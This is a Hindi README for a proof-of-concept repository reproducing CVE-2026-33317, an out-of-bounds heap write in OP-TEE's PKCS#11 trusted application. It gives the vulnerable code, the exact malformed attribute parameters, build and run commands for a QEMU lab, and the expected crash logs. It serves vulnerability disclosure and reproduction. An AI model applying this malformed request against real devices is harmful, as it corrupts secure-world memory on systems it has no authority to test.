
CVE-2026-33317 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, OP-TEE PKCS#11 TA में आउट-ऑफ-बाउंड राइट, जो एक दोषपूर्ण एट्रिब्यूट टेम्पलेट के माध्यम से सिक्योर वर्ल्ड हीप भ्रष्टाचार को प्रदर्शित करता है।
इस रिपॉजिटरी में CVE-2026-33317 / GHSA-8cqw-mg7v-c9p9 के लिए नॉर्मल वर्ल्ड प्रूफ ऑफ कॉन्सेप्ट, प्रजनन नोट्स और कैप्चर किए गए लॉग शामिल हैं।
आधिकारिक OP-TEE सलाहकार में PKCS11_CMD_GET_ATTRIBUTE_VALUE के लिए entry_get_attribute_value() में लापता सत्यापन का वर्णन किया गया है। यह बग PKCS#11 TA हीप से आउट-ऑफ-बाउंड रीड का कारण बन सकता है और, एक दोषपूर्ण विशेषता टेम्पलेट के साथ, अस्थायी टेम्पलेट बफर से परे लेखन कर सकता है। यह PoC आउट-ऑफ-बाउंड लेखन मामले को लक्षित करता है और PKCS#11 TA में सिक्योर वर्ल्ड हीप भ्रष्टाचार प्रदर्शित करता है।
CVE-2026-33317>= 3.13.04.11 और बाद के8.7 उच्चCWE-125, CWE-787इसका उपयोग केवल स्थानीय प्रयोगशाला या किसी अन्य वातावरण में करें जहाँ आपको OP-TEE का परीक्षण करने के लिए अधिकृत किया गया है।
जिस स्थानीय कार्यशील प्रति से यह README तैयार किया गया था, वह एक फ्लैट OP-TEE QEMUv8 कार्यक्षेत्र था। .repo निर्देशिका और सभी .git मेटाडेटा फ़ाइलें/निर्देशिकाएँ हटा दी गई थीं, इसलिए वह स्थानीय संग्रह अब repo sync या सामान्य git इतिहास कमांड के साथ उपयोग योग्य नहीं है।
GitHub रिपॉजिटरी जानबूझकर भारी OP-TEE/QEMU स्रोत ट्री, टूलचेन और बिल्ड आउटपुट को बाहर करती है। स्वचालित QEMU प्रजनन को एक नए क्लोन से चलाने से पहले उन्हें qemu-v8-setup.md से पुनः बनाएं, या PoC फ़ाइलों को मौजूदा OP-TEE qemu_v8 बिल्ड रूट में कॉपी करें।
महत्वपूर्ण शीर्ष-स्तरीय फ़ाइलें:
तैयार स्थानीय संग्रह में optee_os, optee_client, qemu, linux, trusted-firmware-a, u-boot, buildroot, out-br और toolchains जैसी स्रोत/बिल्ड निर्देशिकाएँ भी थीं; इन्हें प्रकाशन के लिए अनदेखा किया गया है।
कमजोर optee_os ट्री में, ta/pkcs11/src/object.c क्लाइंट-आपूर्ति किए गए क्रमबद्ध विशेषता टेम्पलेट पर पुनरावृत्ति करता है:
cur = (char *)template + sizeof(struct pkcs11_object_head);
end = cur + template->attrs_size;
...
data_ptr = cli_head.size ? cli_ref->data : NULL;
rc = get_attribute(obj->attributes, cli_head.id, data_ptr, &cli_head.size);
लूप यह साबित नहीं करता है कि प्रत्येक विशेषता हेडर और उसका डेटा क्षेत्र आवंटित टेम्पलेट के भीतर पूरी तरह से है। PoC भेजता है:
attrs_size = 8, बिल्कुल एक pkcs11_attribute_head और कोई डेटा बाइट नहीं।attrs_count = 1।cli_head.id = CKA_LABEL।cli_head.size = 16, बनाई गई वस्तु के 16-बाइट लेबल से मेल खाता है।यह एक 16-बाइट टेम्पलेट आवंटन बनाता है:
sizeof(pkcs11_object_head) + attrs_size = 8 + 8 = 16
cli_ref->data फिर template + 16 पर इंगित करता है, आवंटन के अंत से बिल्कुल एक बाइट आगे। ta/pkcs11/src/attributes.c में get_attribute() देखता है कि कॉलर-प्रदान किया गया आकार पर्याप्त बड़ा है और 16-बाइट लेबल को उस आउट-ऑफ-बाउंड पॉइंटर पर कॉपी करता है, जिससे PKCS#11 TA हीप भ्रष्ट हो जाता है।
तैयार QEMUv8 कार्यक्षेत्र द्वारा उपयोग की जाने वाली पूर्वापेक्षाएँ:
expectqemu_v8 कार्यक्षेत्र जिसमें बिल्ड आउटपुट, टूलचेन और QEMU बाइनरी qemu-v8-setup.md में वर्णित स्थानीय संग्रह के समान व्यवस्थित होPoC बनाएं:
./build_poc.sh
अपेक्षित बिल्ड परिणाम:
Built: out/bin/c01_poc
स्वचालित QEMUv8 प्रजनन चलाएं:
./run_c01.sh
रैपर बूट करने से पहले इन स्टेज की गई फ़ाइलों की जाँच करता है:
out/bin/bl1.binout/bin/Imageout/bin/rootfs.cpio.gzout/bin/c01_pocयदि बिल्ड आर्टिफैक्ट गायब हैं, तो पहले OP-TEE कार्यक्षेत्र को पुनः बनाएं/बिल्ड करें और फिर ./build_poc.sh दोबारा चलाएं।
नॉर्मल वर्ल्ड लॉग में तैयार अनुरोध दिखना चाहिए:
[+] TEEC session with PKCS#11 TA opened
[+] INIT_TOKEN rc=0x00000000 OK
[+] OPEN_SESSION rc=0x00000000, session_handle=0x00000001
[+] CREATE_OBJECT rc=0x00000000, obj_handle=0x00000001
[+] Object has CKA_LABEL = "AAAAAAAAAAAAAAAA" (16 bytes)
[+] Sending malicious C_GetAttributeValue (attrs_size=8, cli_head.size=16)...
[+] GET_ATTRIBUTE_VALUE[0] rc=0xffffffff
सिक्योर वर्ल्ड लॉग में आवंटक अभिकथन और TA पैनिक होना चाहिए:
E/TA: assertion 'BH((char *) b - b->bh.bsize)->prevfree == 0' failed at lib/libutils/isoc/bget.c:1022 in brel()
E/TC:? 0 TA panicked with code 0xffff0000
E/LD: Status of TA fd02c9da-306c-48c7-a49c-bbd827ae86ee
सफल रन से कैप्चर किए गए लॉग पहले से मौजूद हैं:
out/bin/c01_nw.logout/bin/c01_sw.logc01_poc.c libteec के माध्यम से PKCS#11 TA UUID fd02c9da-306c-48c7-a49c-bbd827ae86ee को आमंत्रित करता है:
CKA_LABEL = "AAAAAAAAAAAAAAAA" के साथ एक AES सत्र वस्तु बनाएं।attrs_size = 8 और cli_head.size = 16 के साथ एक दोषपूर्ण CMD_GET_ATTRIBUTE_VALUE अनुरोध भेजें।पहला दुर्भावनापूर्ण अनुरोध हीप मेटाडेटा को भ्रष्ट करने के लिए पर्याप्त है। फिर TA तब पैनिक करता है जब OP-TEE bget आवंटक भ्रष्ट ब्लॉक मेटाडेटा का पता लगाता है।
run_c01.sh virtio-9p पर गेस्ट में out/bin साझा करता है और लॉग को उसी निर्देशिका में वापस लिखता है।out/bin में स्टेज किए गए बूट आर्टिफैक्ट लिंक उस संग्रह के भीतर आर्टिफैक्ट की ओर इंगित करने चाहिए। प्रकाशित GitHub रिपॉजिटरी केवल कैप्चर किए गए out/bin/c01_*.log फ़ाइलों को ट्रैक करती है।C-01-reproduction.md एक पहले के x86 ASAN हार्नेस दृष्टिकोण का दस्तावेजीकरण करता है। इस फ़ोल्डर में चलने योग्य PoC QEMUv8 TEEC PoC है: c01_poc.c।| पथ | उद्देश्य |
|---|
c01_poc.c | AArch64 नॉर्मल वर्ल्ड PoC जो कच्चे libteec कॉल का उपयोग करता है |
build_poc.sh | c01_poc.c को out/bin/c01_poc में क्रॉस-कंपाइल करता है |
run_c01.sh | QEMUv8 बूट करता है और expect के माध्यम से PoC चलाता है |
c01_check.exp | गेस्ट लॉगिन, virtio-9p माउंट और PoC निष्पादन को स्वचालित करता है |
out/bin/c01_nw.log | कैप्चर किया गया नॉर्मल वर्ल्ड प्रजनन लॉग |
out/bin/c01_sw.log | PKCS#11 TA पैनिक के साथ कैप्चर किया गया सिक्योर वर्ल्ड लॉग |
reproduction-log.md | पूर्ण QEMUv8 प्रजनन नोट्स |
qemu-v8-setup.md | OP-TEE QEMUv8 सेटअप और बेसलाइन सत्यापन नोट्स |
C-01-reproduction.md | पहले के ASAN हार्नेस नोट्स; इस फ़ोल्डर में मुख्य चलने योग्य PoC नहीं |
AGENTS.md | भविष्य के AI/कोड एजेंटों के लिए रखरखाव नोट्स |